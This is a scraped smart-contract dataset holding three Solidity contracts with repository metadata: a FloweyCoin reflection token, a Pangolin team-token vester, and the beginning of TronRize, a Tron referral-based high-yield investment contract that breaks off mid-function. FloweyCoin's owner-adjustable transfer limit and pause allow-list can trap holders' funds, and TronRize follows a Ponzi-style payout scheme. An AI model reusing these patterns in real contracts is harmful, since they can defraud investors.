if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FloweyCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'FloweyCoin';
string private constant _symbol = 'FLOW';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xE222898C093B046b07b7220eB7C2906dbA3dcd9D, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 317,732 | 13,962 |
0b0fe9134f6b5cb3c1619ceaa41ea63cbdd4ea1ff9f2ae17f993f4a00515fdab
| 35,751 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3a/3a71a63807585fd278722d68f94bd81c489ef3e2_TeamAllocationVester.sol
| 4,379 | 18,592 |
// Sources flattened with hardhat v2.8.3 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/utils/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File @openzeppelin/contracts/utils/structs/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File @openzeppelin/contracts/utils/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File contracts/governance/TeamAllocationVester.sol
// solhint-disable not-rely-on-time
/// @title A contract that allocates & vests a token to EOAs
/// @author shung for Pangolin
contract TeamAllocationVester is Ownable {
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
struct Member {
uint reserved; // remaining tokens to be distributed
uint rate; // rewards per second
uint lastUpdate; // timestamp of last harvest
}
mapping(address => Member) public members;
/// @notice The set of members who have non-zero allocation reserves
EnumerableSet.AddressSet private _membersAddresses;
IERC20 public immutable png;
/// @notice The total amount of tokens set to be streamed to all members
uint public reserved;
event MembersChanged(address[] members, uint[] allocation);
constructor(address allocationToken) {
png = IERC20(allocationToken);
}
function harvest(address account) external {
uint amount = pendingHarvest(account);
require(amount != 0, "no pending harvest");
members[account].lastUpdate = block.timestamp;
members[account].reserved -= amount;
reserved -= amount;
// remove member from the set if its harvest has ended
if (members[account].reserved == 0) _membersAddresses.remove(account);
png.safeTransfer(account, amount);
}
function withdraw(uint amount) external onlyOwner {
require(unreserved() >= amount, "low balance");
png.safeTransfer(msg.sender, amount);
}
function setAllocations(address[] memory accounts,
uint[] memory allocations,
uint[] memory vestFor) external onlyOwner {
uint length = accounts.length;
require(length < 41, "long array");
require(length > 0, "empty array");
require(length == allocations.length && length == vestFor.length,
"varying-length arrays");
uint balance = png.balanceOf(address(this));
for (uint i; i < length; ++i) {
uint allocation = allocations[i];
uint duration = vestFor[i];
address account = accounts[i];
require(account != address(0), "bad recipient");
uint unclaimed;
if (members[account].reserved != 0) {
// record any unclaimed rewards of member
unclaimed = pendingHarvest(account);
balance -= unclaimed;
// free png that was locked for this members allocation
reserved -= members[account].reserved;
// remove the member from the set
_membersAddresses.remove(account);
}
if (allocation != 0) {
require(duration >= 8 weeks, "short vesting duration");
require(balance - reserved >= allocation, "low balance");
// lock png as reserved
reserved += allocation;
// add vesting info for the member
members[account].reserved = allocation;
members[account].rate = allocation / duration;
members[account].lastUpdate = block.timestamp;
// add the member to the set for easy access
_membersAddresses.add(account);
} else {
// remove members allocation
members[account].reserved = 0;
}
if (unclaimed != 0) png.safeTransfer(account, unclaimed);
}
emit MembersChanged(accounts, allocations);
}
function getMembers() external view returns (address[] memory) {
return _membersAddresses.values();
}
function pendingHarvest(address account) public view returns (uint) {
Member memory member = members[account];
uint amount = (block.timestamp - member.lastUpdate) * member.rate;
return amount > member.reserved ? member.reserved : amount;
}
function unreserved() public view returns (uint) {
return png.balanceOf(address(this)) - reserved;
}
}
| 73,041 | 13,963 |
75f057c0a1a8bac5b2024c845c2412987c3d271e3cdfbaa5f710666692c05a35
| 19,384 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBp8z4X3GmdXmv4wfkv9ffE99fiiNGHegT_TronRize.sol
| 4,543 | 17,257 |
//SourceUnit: TronRize.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
contract TronRize {
using SafeMath for uint;
uint constant public DEPOSITS_MAX = 300;
uint constant public INVEST_MIN_AMOUNT = 50 trx;
uint constant public INVEST_MAX_AMOUNT = 4000000 trx;
uint constant public BASE_PERCENT = 300;
uint[] public REFERRAL_PERCENTS = [1000, 400, 200, 100, 100, 50, 50, 40, 30, 20, 10];
uint constant public MARKETING_FEE = 500;
uint constant public PROJECT_FEE = 400;
uint constant public ADMIN_FEE = 500;
uint constant public NETWORK = 800;
uint constant public MAX_CONTRACT_PERCENT = 100;
uint constant public MAX_LEADER_PERCENT = 50;
uint constant public MAX_HOLD_PERCENT = 100;
uint constant public MAX_COMMUNITY_PERCENT = 50;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 1000000000 trx;
uint constant public LEADER_BONUS_STEP = 1000000000 trx;
uint constant public COMMUNITY_BONUS_STEP = 10000000;
uint constant public TIME_STEP = 1 days;
uint public totalInvested;
address payable public marketingAddress;
address payable public projectAddress;
address payable public adminAddress;
address payable public networkAddress;
uint public totalDeposits;
uint public totalWithdrawn;
uint public contractPercent;
uint public contractCreationTime;
uint public totalRefBonus;
struct Deposit {
uint64 amount;
uint64 withdrawn;
// uint64 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint64 bonus;
uint24[11] refs;
// uint16 rbackPercent;
}
mapping (address => User) internal users;
mapping (uint => uint) internal turnover;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address payable marketingAddr, address payable projectAddr, address payable adminAddr, address payable networkAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
adminAddress = adminAddr;
networkAddress = networkAddr;
contractCreationTime = block.timestamp;
contractPercent = getContractBalanceRate();
}
// function setRefback(uint16 rbackPercent) public {
// require(rbackPercent <= 10000);
// User storage user = users[msg.sender];
// if (user.deposits.length > 0) {
// user.rbackPercent = rbackPercent;
// }
// }
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint) {
uint contractBalance = address(this).balance;
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).mul(20));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getLeaderBonusRate() public view returns (uint) {
uint leaderBonusPercent = totalRefBonus.div(LEADER_BONUS_STEP).mul(10);
if (leaderBonusPercent < MAX_LEADER_PERCENT) {
return leaderBonusPercent;
} else {
return MAX_LEADER_PERCENT;
}
}
function getCommunityBonusRate() public view returns (uint) {
uint communityBonusRate = totalDeposits.div(COMMUNITY_BONUS_STEP).mul(10);
if (communityBonusRate < MAX_COMMUNITY_PERCENT) {
return communityBonusRate;
} else {
return MAX_COMMUNITY_PERCENT;
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint userPercentRate = getUserPercentRate(msg.sender);
uint communityBonus = getCommunityBonusRate();
uint leaderbonus = getLeaderBonusRate();
uint totalAmount;
uint dividends;
for (uint i = 0; i < user.deposits.length; i++) {
if (uint(user.deposits[i].withdrawn) < uint(user.deposits[i].amount).mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (uint(user.deposits[i].amount).mul(userPercentRate+communityBonus+leaderbonus).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(uint(user.deposits[i].start)))
